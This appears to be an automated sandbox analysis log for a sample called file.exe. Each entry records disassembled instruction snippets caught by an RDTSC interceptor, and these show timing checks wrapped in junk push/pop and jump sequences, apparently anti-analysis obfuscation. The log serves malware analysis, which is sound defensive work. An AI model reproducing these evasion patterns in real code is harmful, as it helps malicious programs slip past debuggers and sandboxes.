Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124B9BB second address: 124B9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b pop eax 0x0000000c jbe 00007F99150F94F6h 0x00000012 pop eax 0x00000013 pushad 0x00000014 jno 00007F99150F94F6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8643 second address: 11B8647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B8647 second address: 11B867E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F9509h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99150F9506h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252628 second address: 125262E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125262E second address: 1252634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252634 second address: 125263D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125263D second address: 1252647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252BCB second address: 1252BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1252F1D second address: 1252F3B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99150F94F6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F99150F94FAh 0x00000013 je 00007F99150F94F6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125322E second address: 1253233 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12534C0 second address: 12534E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 jmp 00007F99150F94FFh 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F99150F94F6h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253799 second address: 12537B2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99146B459Eh 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253A7B second address: 1253A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253A81 second address: 1253A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F99146B459Eh 0x0000000a pop ecx 0x0000000b jc 00007F99146B45BCh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253DB0 second address: 1253DC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1253DC1 second address: 1253DCB instructions: 0x00000000 rdtsc 0x00000002 js 00007F99146B459Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DA36 second address: 125DA70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9504h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F99150F94FEh 0x00000013 jno 00007F99150F94F6h 0x00000019 popad 0x0000001a jc 00007F99150F94F8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125DA70 second address: 125DA76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125CA74 second address: 125CA8B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99150F94FCh 0x00000008 ja 00007F99150F94F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125CA8B second address: 125CA8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D238 second address: 125D24A instructions: 0x00000000 rdtsc 0x00000002 je 00007F99150F94F6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D24A second address: 125D24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D3C1 second address: 125D3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D3C5 second address: 125D3E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B45A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D757 second address: 125D75D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125D75D second address: 125D763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12615F5 second address: 126160C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F99150F94F6h 0x0000000d jmp 00007F99150F94FAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126160C second address: 1261612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268071 second address: 1268075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12685FF second address: 126861C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12688B4 second address: 12688B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E1C second address: 1268E20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E20 second address: 1268E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268E28 second address: 1268E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F99146B4596h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126956D second address: 1269573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269573 second address: 126959F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F99146B4596h 0x0000000a popad 0x0000000b push edx 0x0000000c jo 00007F99146B4596h 0x00000012 jmp 00007F99146B45A6h 0x00000017 pop edx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269BEA second address: 1269BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1269BF4 second address: 1269BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FB27 second address: 126FB2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126FB2D second address: 126FB38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F558 second address: 126F560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F560 second address: 126F566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126F81B second address: 126F82B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99150F94F6h 0x00000008 ja 00007F99150F94F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127E44E second address: 127E46C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A9h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128FA15 second address: 128FA24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 128FA24 second address: 128FA2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12958D8 second address: 12958DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12958DC second address: 12958E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295EBD second address: 1295EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295EC4 second address: 1295EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F99146B45A0h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295EE0 second address: 1295EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1295EE8 second address: 1295EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296BBC second address: 1296BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296BC2 second address: 1296BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296BC6 second address: 1296BDB instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99150F94F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jo 00007F99150F94F6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296BDB second address: 1296BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push esi 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A51C second address: 129A528 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129A528 second address: 129A52C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D652 second address: 129D656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129D52E second address: 129D534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F934 second address: 129F93A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A38D3 second address: 12A38E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A38E4 second address: 12A38E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B13BE second address: 12B13D9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F99146B45A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B13D9 second address: 12B13F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F9503h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD524 second address: 12BD533 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F99146B4596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD533 second address: 12BD543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEE43 second address: 12BEE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEE49 second address: 12BEE55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F99150F94F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEE55 second address: 12BEE84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F99146B45B1h 0x0000000b jnp 00007F99146B45ADh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEC89 second address: 12BEC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEC8D second address: 12BECAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B45A9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECAC second address: 12BECC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FBh 0x00000007 jnp 00007F99150F94FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECC1 second address: 12BECD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F99146B459Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECD5 second address: 12BECDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECDB second address: 12BECFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A0h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F99146B459Ah 0x0000000e jo 00007F99146B4596h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECFF second address: 12BED05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C409E second address: 12C40AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3D69 second address: 12C3D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3D6E second address: 12C3D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6359 second address: 12C635D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C635D second address: 12C6363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD7E4 second address: 12DD7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DD7EA second address: 12DD801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F99146B4596h 0x0000000c popad 0x0000000d jmp 00007F99146B459Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DDE31 second address: 12DDE37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DDE37 second address: 12DDE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F99146B45A1h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFDCF second address: 12DFDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFDD3 second address: 12DFDDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DFDDB second address: 12DFDFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F99150F9508h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E273E second address: 12E2742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E28E4 second address: 12E28EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E28EC second address: 12E28F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E28F8 second address: 12E28FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E2C89 second address: 12E2CFA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99146B45AAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F99146B45A2h 0x00000012 push dword ptr [ebp+122D36CEh] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F99146B4598h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D32FBh], eax 0x00000038 push 8C415FAEh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F99146B459Bh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0E35 second address: 54D0E52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 3E50D33Ah 0x00000008 call 00007F99150F94FBh 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 mov ch, BBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54D0E52 second address: 54D0F24 instructions: 0x00000000 rdtsc 0x00000002 mov cl, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushfd 0x00000008 jmp 00007F99146B459Fh 0x0000000d xor cl, 0000003Eh 0x00000010 jmp 00007F99146B45A9h 0x00000015 popfd 0x00000016 pop esi 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushad 0x0000001b mov bx, CD9Eh 0x0000001f call 00007F99146B459Fh 0x00000024 pop ecx 0x00000025 popad 0x00000026 pushfd 0x00000027 jmp 00007F99146B45A9h 0x0000002c xor al, FFFFFFD6h 0x0000002f jmp 00007F99146B45A1h 0x00000034 popfd 0x00000035 popad 0x00000036 mov ebp, esp 0x00000038 pushad 0x00000039 pushfd 0x0000003a jmp 00007F99146B459Ch 0x0000003f add cx, 71F8h 0x00000044 jmp 00007F99146B459Bh 0x00000049 popfd 0x0000004a jmp 00007F99146B45A8h 0x0000004f popad 0x00000050 pop ebp 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F99146B45A7h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0F9E second address: 54C0FB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99150F9504h 0x00000009 rdtsc
